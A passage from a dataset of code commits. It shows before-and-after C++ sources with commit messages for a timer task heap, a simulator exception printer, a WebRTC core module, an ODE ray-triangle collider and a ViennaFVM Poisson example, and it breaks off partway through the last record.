);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::size_t TimerTaskHeap::deleteIfCancelled() {\n\n std::size_t result = 0;\n\n for( std::size_t i = 0; i < heap.size(); ++i ) {\n if( heap[i]->cancelled ) {\n result++;\n remove( i );\n \/\/ re-try this point\n i--;\n }\n }\n\n return result;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::size_t TimerTaskHeap::find( const Pointer<TimerTask>& task ) const {\n\n for( std::size_t i = 0; i < heap.size(); ++i ) {\n if( heap[i] == task ) {\n return i;\n }\n }\n\n return -1;\n}\n<commit_msg>64bit OS fix<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"TimerTaskHeap.h\"\n\nusing namespace decaf;\nusing namespace decaf::internal;\nusing namespace decaf::internal::util;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTimerTaskHeap::TimerTaskHeap() {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTimerTaskHeap::~TimerTaskHeap() {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nPointer<TimerTask> TimerTaskHeap::peek() {\n\n if( heap.empty() ) {\n return Pointer<TimerTask>();\n }\n\n return heap[0];\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool TimerTaskHeap::isEmpty() const {\n return heap.empty();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::size_t TimerTaskHeap::size() const {\n return this->heap.size();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::insert( const Pointer<TimerTask>& task ) {\n\n heap.push_back( task );\n upHeap();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::remove( std::size_t pos ) {\n\n \/\/ possible to delete any position of the heap\n if( pos < heap.size() ) {\n heap[pos] = heap.back();\n heap.pop_back();\n downHeap( pos );\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::upHeap() {\n\n if( heap.size() <= 1 ) {\n return; \/\/ Can't get any higher than the top.\n }\n\n std::size_t current = heap.size() - 1;\n std::size_t parent = ( current - 1 ) \/ 2;\n\n while( heap[current]->when < heap[parent]->when) {\n\n \/\/ swap the two\n Pointer<TimerTask> tmp = heap[current];\n heap[current] = heap[parent];\n heap[parent] = tmp;\n\n \/\/ update parent and current positions.\n current = parent;\n parent = ( current - 1 ) \/ 2;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::downHeap( std::size_t pos ) {\n\n std::size_t current = pos;\n std::size_t child = 2 * current + 1;\n\n while( child < heap.size() && !heap.empty() ) {\n\n \/\/ compare the children if they exist\n if( child + 1 < heap.size() && heap[child + 1]->when < heap[child]->when) {\n child++;\n }\n\n \/\/ compare selected child with parent\n if( heap[current]->when < heap[child]->when ) {\n break;\n }\n\n \/\/ swap the two\n Pointer<TimerTask> tmp = heap[current];\n heap[current] = heap[child];\n heap[child] = tmp;\n\n \/\/ update child and current positions\n current = child;\n child = 2 * current + 1;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::reset() {\n heap.clear();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::adjustMinimum() {\n downHeap( 0 );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::size_t TimerTaskHeap::deleteIfCancelled() {\n\n std::size_t result = 0;\n\n for( std::size_t i = 0; i < heap.size(); ++i ) {\n if( heap[i]->cancelled ) {\n result++;\n remove( i );\n \/\/ re-try this point\n i--;\n }\n }\n\n return result;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::size_t TimerTaskHeap::find( const Pointer<TimerTask>& task ) const {\n\n for( std::size_t i = 0; i < heap.size(); ++i ) {\n if( heap[i] == task ) {\n return i;\n }\n }\n\n return -1;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"commands.h\"\n#include \"sim\/except.h\"\n#include <iostream>\n\nusing namespace std;\n\nvoid PrintException(Simulator::MGSystem *sys, ostream& out, const exception& e)\n{\n out << endl << e.what() << endl;\n\n auto se = dynamic_cast<const Simulator::SimulationException*>(&e);\n if (se != NULL)\n {\n \/\/ SimulationExceptions hold more information, print it\n for (auto& p : se->GetDetails())\n out << p << endl;\n\n auto te = dynamic_cast<const Simulator::ProgramTerminationException*>(se);\n if (te == NULL && se->GetPC() != 0)\n {\n \/\/ We avoid printing the backtrace when receiving an exception\n \/\/ for normal program termination.\n assert(sys != NULL);\n sys->Disassemble(se->GetPC());\n }\n }\n}\n\n<commit_msg>Enable using PrintException even when no MGSystem is present.<commit_after>#include \"commands.h\"\n#include \"sim\/except.h\"\n#include <iostream>\n\nusing namespace std;\n\nvoid PrintException(Simulator::MGSystem *sys, ostream& out, const exception& e)\n{\n out << endl << e.what() << endl;\n\n auto se = dynamic_cast<const Simulator::SimulationException*>(&e);\n if (se != NULL)\n {\n \/\/ SimulationExceptions hold more information, print it\n for (auto& p : se->GetDetails())\n out << p << endl;\n\n auto te = dynamic_cast<const Simulator::ProgramTerminationException*>(se);\n if (te == NULL && se->GetPC() != 0)\n {\n \/\/ We avoid printing the backtrace when receiving an exception\n \/\/ for normal program termination.\n if (sys != NULL)\n \/\/ Only disassemble if there is a system to do so.\n sys->Disassemble(se->GetPC());\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n* The MIT License (MIT)\n*\n* Copyright (c) 2015 vmolsa <ville.molsa@gmail.com> (http:\/\/github.com\/vmolsa)\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n* THE SOFTWARE.\n*\n*\/\n\n#include \"uv.h\"\n#include \"Core.h\"\n\n#ifdef WIN32\n#include \"webrtc\/base\/win32socketinit.h\"\n#endif\n\nusing namespace WebRTC;\n\nrtc::scoped_refptr<webrtc::PeerConnectionFactoryInterface> _factory;\nrtc::scoped_ptr<cricket::DeviceManagerInterface> _manager;\nuv_check_t _msg;\n\nstatic void ProcessMessages(uv_check_t* handle) {\n rtc::Thread::Current()->ProcessMessages(0);\n}\n\nvoid Core::Init() {\n#ifdef WIN32\n rtc::EnsureWinsockInit();\n#endif\n uv_check_init(uv_default_loop(), &_msg);\n uv_check_start(&_msg, ProcessMessages);\n uv_unref(reinterpret_cast<uv_handle_t*>(&_msg));\n\n rtc::InitializeSSL();\n _factory = webrtc::CreatePeerConnectionFactory();\n _manager.reset(cricket::DeviceManagerFactory::Create());\n\n if (!_manager->Init()) {\n _manager.release();\n }\n}\n\nvoid Core::Dispose() {\n uv_check_stop(&_msg);\n _factory.release();\n _manager.release();\n}\n\nwebrtc::PeerConnectionFactoryInterface* Core::GetFactory() {\n return _factory.get();\n}\n\ncricket::DeviceManagerInterface* Core::GetManager() {\n return _manager.get();\n}<commit_msg>Terminate Manager<commit_after>\/*\n* The MIT License (MIT)\n*\n* Copyright (c) 2015 vmolsa <ville.molsa@gmail.com> (http:\/\/github.com\/vmolsa)\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n* THE SOFTWARE.\n*\n*\/\n\n#include \"uv.h\"\n#include \"Core.h\"\n\n#ifdef WIN32\n#include \"webrtc\/base\/win32socketinit.h\"\n#endif\n\nusing namespace WebRTC;\n\nrtc::scoped_refptr<webrtc::PeerConnectionFactoryInterface> _factory;\nrtc::scoped_ptr<cricket::DeviceManagerInterface> _manager;\nuv_check_t _msg;\n\nstatic void ProcessMessages(uv_check_t* handle) {\n rtc::Thread::Current()->ProcessMessages(0);\n}\n\nvoid Core::Init() {\n#ifdef WIN32\n rtc::EnsureWinsockInit();\n#endif\n uv_check_init(uv_default_loop(), &_msg);\n uv_check_start(&_msg, ProcessMessages);\n uv_unref(reinterpret_cast<uv_handle_t*>(&_msg));\n\n rtc::InitializeSSL();\n _factory = webrtc::CreatePeerConnectionFactory();\n _manager.reset(cricket::DeviceManagerFactory::Create());\n\n if (!_manager->Init()) {\n _manager.release();\n }\n}\n\nvoid Core::Dispose() {\n uv_check_stop(&_msg);\n _factory.release();\n\n if (_manager.get()) {\n _manager->Terminate();\n }\n\n _manager.release();\n}\n\nwebrtc::PeerConnectionFactoryInterface* Core::GetFactory() {\n return _factory.get();\n}\n\ncricket::DeviceManagerInterface* Core::GetManager() {\n return _manager.get();\n}<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n * *\n * Open Dynamics Engine, Copyright (C) 2001-2003 Russell L. Smith. *\n * All rights reserved. Email: russ@q12.org Web: www.q12.org *\n * *\n * This library is free software; you can redistribute it and\/or *\n * modify it under the terms of EITHER: *\n * (1) The GNU Lesser General Public License as published by the Free *\n * Software Foundation; either version 2.1 of the License, or (at *\n * your option) any later version. The text of the GNU Lesser *\n * General Public License is included with this library in the *\n * file LICENSE.TXT. *\n * (2) The BSD-style license that is included with this library in *\n * the file LICENSE-BSD.TXT. *\n * *\n * This library is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the files *\n * LICENSE.TXT and LICENSE-BSD.TXT for more details. *\n * *\n *************************************************************************\/\n\n\/\/ TriMesh code by Erwin de Vries.\n\n#include <ode\/collision.h>\n#include <ode\/matrix.h>\n#include <ode\/rotation.h>\n#include <ode\/odemath.h>\n#include \"collision_util.h\"\n\n#define TRIMESH_INTERNAL\n#include \"collision_trimesh_internal.h\"\n\nint dCollideRTL(dxGeom* g1, dxGeom* RayGeom, int Flags, dContactGeom* Contacts, int Stride){\n\tdxTriMesh* TriMesh = (dxTriMesh*)g1;\n\n\tconst dVector3& TLPosition = *(const dVector3*)dGeomGetPosition(TriMesh);\n\tconst dMatrix3& TLRotation = *(const dMatrix3*)dGeomGetRotation(TriMesh);\n\n\tRayCollider& Collider = TriMesh->_RayCollider;\n\n\tdReal Length = dGeomRayGetLength(RayGeom);\n\n\tint FirstContact, BackfaceCull;\n\tdGeomRayGetParams(RayGeom, &FirstContact, &BackfaceCull);\n\tint ClosestHit = dGeomRayGetClosestHit(RayGeom);\n\n\tCollider.SetFirstContact(FirstContact != 0);\n\tCollider.SetClosestHit(ClosestHit != 0);\n\tCollider.SetCulling(BackfaceCull != 0);\n\tCollider.SetMaxDist(Length);\n\n\tdVector3 Origin, Direction;\n\tdGeomRayGet(RayGeom, Origin, Direction);\n\n\t\/* Make Ray *\/\n\tRay WorldRay;\n\tWorldRay.mOrig.x = Origin[0];\n\tWorldRay.mOrig.y = Origin[1];\n\tWorldRay.mOrig.z = Origin[2];\n\tWorldRay.mDir.x = Direction[0];\n\tWorldRay.mDir.y = Direction[1];\n\tWorldRay.mDir.z = Direction[2];\n\n\t\/* Intersect *\/\n\tMatrix4x4 amatrix;\n\tCollider.Collide(WorldRay, TriMesh->Data->BVTree, &MakeMatrix(TLPosition, TLRotation, amatrix));\n\n\t\/* Retrieve data *\/\n\tint TriCount = TriMesh->Faces.GetNbFaces();\n\t\n\tif (TriCount != 0){\n\t\tconst CollisionFace* Faces = TriMesh->Faces.GetFaces();\n\n\t\tint OutTriCount = 0;\n\t\tfor (int i = 0; i < TriCount; i++){\n\t\t\tif (OutTriCount == (Flags & 0xffff)){\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif (TriMesh->RayCallback == null || TriMesh->RayCallback(TriMesh, RayGeom, Faces[i].mFaceID, Faces[i].mU, Faces[i].mV)){\n\t\t\t\tconst int& TriIndex = Faces[i].mFaceID;\n\n\t\t\t\tif (!Callback(TriMesh, RayGeom, TriIndex)) continue;\n\n\t\t\t\tdContactGeom* Contact = SAFECONTACT(Flags, Contacts, OutTriCount, Stride);\n\n\t\t\t\tdVector3 dv[3];\n\t\t\t\tFetchTriangle(TriMesh, TriIndex, TLPosition, TLRotation, dv);\n\n\t\t\t\tfloat T = Faces[i].mDistance;\n\t\t\t\tContact->pos[0] = Origin[0] + (Direction[0] * T);\n\t\t\t\tContact->pos[1] = Origin[1] + (Direction[1] * T);\n\t\t\t\tContact->pos[2] = Origin[2] + (Direction[2] * T);\n\t\t\t\tContact->pos[3] = REAL(0.0);\n\t\t\t\t\n\t\t\t\tdVector3 vu;\n\t\t\t\tvu[0] = dv[1][0] - dv[0][0];\n\t\t\t\tvu[1] = dv[1][1] - dv[0][1];\n\t\t\t\tvu[2] = dv[1][2] - dv[0][2];\n\t\t\t\tvu[3] = REAL(0.0);\n\t\t\t\t\n\t\t\t\tdVector3 vv;\n\t\t\t\tvv[0] = dv[2][0] - dv[0][0];\n\t\t\t\tvv[1] = dv[2][1] - dv[0][1];\n\t\t\t\tvv[2] = dv[2][2] - dv[0][2];\n\t\t\t\tvv[3] = REAL(0.0);\n\n\t\t\t\tdCROSS(Contact->normal, =, vv, vu);\t\/\/ Reversed\n\n\t\t\t\tdNormalize3(Contact->normal);\n\n\t\t\t\tContact->depth = T;\n\t\t\t\tContact->g1 = TriMesh;\n\t\t\t\tContact->g2 = RayGeom;\n\t\t\t\t\n\t\t\t\tOutTriCount++;\n\t\t\t}\n\t\t}\n\t\treturn OutTriCount;\n\t}\n\telse return 0;\n}\n<commit_msg>ray-triangle collider correctness fix from Joe Ante <joe@uti.is><commit_after>\/*************************************************************************\n * *\n * Open Dynamics Engine, Copyright (C) 2001-2003 Russell L. Smith. *\n * All rights reserved. Email: russ@q12.org Web: www.q12.org *\n * *\n * This library is free software; you can redistribute it and\/or *\n * modify it under the terms of EITHER: *\n * (1) The GNU Lesser General Public License as published by the Free *\n * Software Foundation; either version 2.1 of the License, or (at *\n * your option) any later version. The text of the GNU Lesser *\n * General Public License is included with this library in the *\n * file LICENSE.TXT. *\n * (2) The BSD-style license that is included with this library in *\n * the file LICENSE-BSD.TXT. *\n * *\n * This library is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the files *\n * LICENSE.TXT and LICENSE-BSD.TXT for more details. *\n * *\n *************************************************************************\/\n\n\/\/ TriMesh code by Erwin de Vries.\n\n#include <ode\/collision.h>\n#include <ode\/matrix.h>\n#include <ode\/rotation.h>\n#include <ode\/odemath.h>\n#include \"collision_util.h\"\n\n#define TRIMESH_INTERNAL\n#include \"collision_trimesh_internal.h\"\n\nint dCollideRTL(dxGeom* g1, dxGeom* RayGeom, int Flags, dContactGeom* Contacts, int Stride){\n\tdxTriMesh* TriMesh = (dxTriMesh*)g1;\n\n\tconst dVector3& TLPosition = *(const dVector3*)dGeomGetPosition(TriMesh);\n\tconst dMatrix3& TLRotation = *(const dMatrix3*)dGeomGetRotation(TriMesh);\n\n\tRayCollider& Collider = TriMesh->_RayCollider;\n\n\tdReal Length = dGeomRayGetLength(RayGeom);\n\n\tint FirstContact, BackfaceCull;\n\tdGeomRayGetParams(RayGeom, &FirstContact, &BackfaceCull);\n\tint ClosestHit = dGeomRayGetClosestHit(RayGeom);\n\n\tCollider.SetFirstContact(FirstContact != 0);\n\tCollider.SetClosestHit(ClosestHit != 0);\n\tCollider.SetCulling(BackfaceCull != 0);\n\tCollider.SetMaxDist(Length);\n\n\tdVector3 Origin, Direction;\n\tdGeomRayGet(RayGeom, Origin, Direction);\n\n\t\/* Make Ray *\/\n\tRay WorldRay;\n\tWorldRay.mOrig.x = Origin[0];\n\tWorldRay.mOrig.y = Origin[1];\n\tWorldRay.mOrig.z = Origin[2];\n\tWorldRay.mDir.x = Direction[0];\n\tWorldRay.mDir.y = Direction[1];\n\tWorldRay.mDir.z = Direction[2];\n\n\t\/* Intersect *\/\n\tMatrix4x4 amatrix;\n int TriCount = 0;\n if (Collider.Collide(WorldRay, TriMesh->Data->BVTree, &MakeMatrix(TLPosition, TLRotation, amatrix))) {\n TriCount = TriMesh->Faces.GetNbFaces();\n }\n\n if (TriCount == 0) {\n return 0;\n }\n\t\n\tconst CollisionFace* Faces = TriMesh->Faces.GetFaces();\n\n\tint OutTriCount = 0;\n\tfor (int i = 0; i < TriCount; i++) {\n\t\tif (OutTriCount == (Flags & 0xffff)) {\n\t\t\tbreak;\n\t\t}\n\t\tif (TriMesh->RayCallback == null ||\n TriMesh->RayCallback(TriMesh, RayGeom, Faces[i].mFaceID,\n Faces[i].mU, Faces[i].mV)) {\n\t\t\tconst int& TriIndex = Faces[i].mFaceID;\n\t\t\tif (!Callback(TriMesh, RayGeom, TriIndex)) {\n continue;\n }\n\n\t\t\tdContactGeom* Contact = SAFECONTACT(Flags, Contacts, OutTriCount, Stride);\n\n\t\t\tdVector3 dv[3];\n\t\t\tFetchTriangle(TriMesh, TriIndex, TLPosition, TLRotation, dv);\n\n\t\t\tfloat T = Faces[i].mDistance;\n\t\t\tContact->pos[0] = Origin[0] + (Direction[0] * T);\n\t\t\tContact->pos[1] = Origin[1] + (Direction[1] * T);\n\t\t\tContact->pos[2] = Origin[2] + (Direction[2] * T);\n\t\t\tContact->pos[3] = REAL(0.0);\n\t\t\t\t\n\t\t\tdVector3 vu;\n\t\t\tvu[0] = dv[1][0] - dv[0][0];\n\t\t\tvu[1] = dv[1][1] - dv[0][1];\n\t\t\tvu[2] = dv[1][2] - dv[0][2];\n\t\t\tvu[3] = REAL(0.0);\n\t\t\t\t\n\t\t\tdVector3 vv;\n\t\t\tvv[0] = dv[2][0] - dv[0][0];\n\t\t\tvv[1] = dv[2][1] - dv[0][1];\n\t\t\tvv[2] = dv[2][2] - dv[0][2];\n\t\t\tvv[3] = REAL(0.0);\n\n\t\t\tdCROSS(Contact->normal, =, vv, vu);\t\/\/ Reversed\n\n\t\t\tdNormalize3(Contact->normal);\n\n\t\t\tContact->depth = T;\n\t\t\tContact->g1 = TriMesh;\n\t\t\tContact->g2 = RayGeom;\n\t\t\t\t\n\t\t\tOutTriCount++;\n\t\t}\n\t}\n\treturn OutTriCount;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* =======================================================================\n Copyright (c) 2011, Institute for Microelectronics, TU Wien\n http:\/\/www.iue.tuwien.ac.at\n -----------------\n ViennaFVM - The Vienna Finite Volume Method Library\n -----------------\n\n authors: Karl Rupp rupp@iue.tuwien.ac.at\n (add your name here)\n\n license: To be discussed, see file LICENSE in the ViennaFVM base directory\n======================================================================= *\/\n\n\/\/ include necessary system headers\n#include <iostream>\n\n#define VIENNAFVM_DEBUG\n\n\/\/ ViennaFVM includes:\n#include \"viennafvm\/forwards.h\"\n\/\/#include \"viennafvm\/poisson_assembler.hpp\"\n#include \"viennafvm\/linear_assembler.hpp\"\n#include \"viennafvm\/io\/vtk_writer.hpp\"\n#include \"viennafvm\/ncell_quantity.hpp\"\n#include \"viennafvm\/linear_solve.hpp\"\n#include \"viennafvm\/pde_solver.hpp\"\n\n\/\/ ViennaGrid includes:\n#include \"viennagrid\/domain\/domain.hpp\"\n#include \"viennagrid\/config\/default_configs.hpp\"\n#include \"viennagrid\/io\/netgen_reader.hpp\"\n#include \"viennagrid\/io\/vtk_writer.hpp\"\n#include \"viennagrid\/algorithm\/voronoi.hpp\"\n\n\/\/ ViennaData includes:\n#include \"viennadata\/api.hpp\"\n\n\/\/ ViennaMath includes:\n#include \"viennamath\/expression.hpp\"\n\n#include <boost\/numeric\/ublas\/io.hpp>\n#include <boost\/numeric\/ublas\/matrix_sparse.hpp>\n#include <boost\/numeric\/ublas\/operation.hpp>\n#include <boost\/numeric\/ublas\/operation_sparse.hpp>\n\n\nstruct permittivity_key\n{\n \/\/ Operator< is required for compatibility with std::map\n bool operator<(permittivity_key const & \/*other*\/) const { return false; }\n};\n\n\nint main()\n{\n typedef double numeric_type;\n\n typedef viennagrid::tetrahedral_3d_domain DomainType;\n typedef viennagrid::result_of::segmentation<DomainType>::type SegmentationType;\n\n typedef viennagrid::result_of::cell_tag<DomainType>::type CellTag;\n\n typedef viennagrid::result_of::element<DomainType, CellTag>::type CellType;\n\n typedef viennamath::function_symbol FunctionSymbol;\n typedef viennamath::equation Equation;\n\n typedef viennadata::storage<> StorageType;\n\n\n typedef viennagrid::result_of::element_range<DomainType, CellTag>::type CellContainer;\n typedef viennagrid::result_of::iterator<CellContainer>::type CellIterator;\n typedef viennagrid::result_of::vertex_range<CellType>::type VertexOnCellContainer;\n typedef viennagrid::result_of::iterator<VertexOnCellContainer>::type VertexOnCellIterator;\n\n typedef viennamath::function_symbol FunctionSymbol;\n typedef viennamath::equation Equation;\n\n typedef viennafvm::boundary_key BoundaryKey;\n\n \/\/\n \/\/ Create a domain from file\n \/\/\n DomainType domain;\n SegmentationType segmentation(domain);\n StorageType storage\/**\/;\n\n try\n {\n viennagrid::io::netgen_reader my_netgen_reader;\n my_netgen_reader(domain, segmentation, \"..\/examples\/data\/cube3072.mesh\");\n }\n catch (...)\n {\n std::cerr << \"File-Reader failed. Aborting program...\" << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ Specify Poisson equation:\n viennafvm::ncell_quantity<CellType, viennamath::expr::interface_type> permittivity; permittivity.wrap_constant( storage, permittivity_key() );\n\n FunctionSymbol u(0, viennamath::unknown_tag<>()); \/\/an unknown function used for PDE specification\n Equation poisson_eq = viennamath::make_equation( viennamath::div(permittivity * viennamath::grad(u)), -1); \/\/ \\Delta u = -1\n\n \/\/\n \/\/ Setting boundary information on domain (this should come from device specification)\n \/\/\n \/\/setting some boundary flags:\n\n viennagrid::result_of::default_point_accessor<DomainType>::type point_accessor = viennagrid::default_point_accessor(domain);\n\n viennadata::result_of::accessor<StorageType, permittivity_key, double, CellType>::type permittivity_accessor =\n viennadata::accessor<permittivity_key, double, CellType>(storage, permittivity_key());\n\n viennadata::result_of::accessor<StorageType, BoundaryKey, bool, CellType>::type boundary_accessor =\n viennadata::accessor<BoundaryKey, bool, CellType>(storage, BoundaryKey( u.id() ));\n\n CellContainer cells = viennagrid::elements(domain);\n for (CellIterator cit = cells.begin();\n cit != cells.end();\n ++cit)\n {\n bool cell_on_boundary = false;\n\n \/\/ write dummy permittivity to cells:\n permittivity_accessor(*cit) = 1.0;\n\n VertexOnCellContainer vertices = viennagrid::elements(*cit);\n for (VertexOnCellIterator vit = vertices.begin();\n vit != vertices.end();\n ++vit)\n {\n \/\/boundary for first equation: Homogeneous Dirichlet everywhere\n if (point_accessor(*vit)[0] == 0.0 || point_accessor(*vit)[0] == 1.0\n || point_accessor(*vit)[2] == 0.0 || point_accessor(*vit)[2] == 1.0 )\n {\n cell_on_boundary = true;\n break;\n }\n }\n boundary_accessor(*cit) = cell_on_boundary;\n }\n\n\n \/\/\n \/\/ Create PDE solver instance\n \/\/\n viennafvm::pde_solver<> pde_solver;\n\n \/\/\n \/\/ Pass system to solver:\n \/\/\n pde_solver(viennafvm::make_linear_pde_system(poisson_eq, u), \/\/ PDE with associated unknown\n domain,\n storage);\n\n \/\/\n \/\/ Writing solution back to domain (discussion about proper way of returning a solution required...)\n \/\/\n viennafvm::io::write_solution_to_VTK_file(pde_solver.result(), \"poisson_3d\", domain, segmentation, storage, 0);\n\n std::cout << \"*****************************************\" << std::endl;\n std::cout << \"* Poisson solver finished successfully! *\" << std::endl;\n std::cout << \"*****************************************\" << std::endl;\n return EXIT_SUCCESS;\n}\n<commit_msg>Removed unnecessary comment, removed duplicate typedef<commit_after>\/* =======================================================================\n 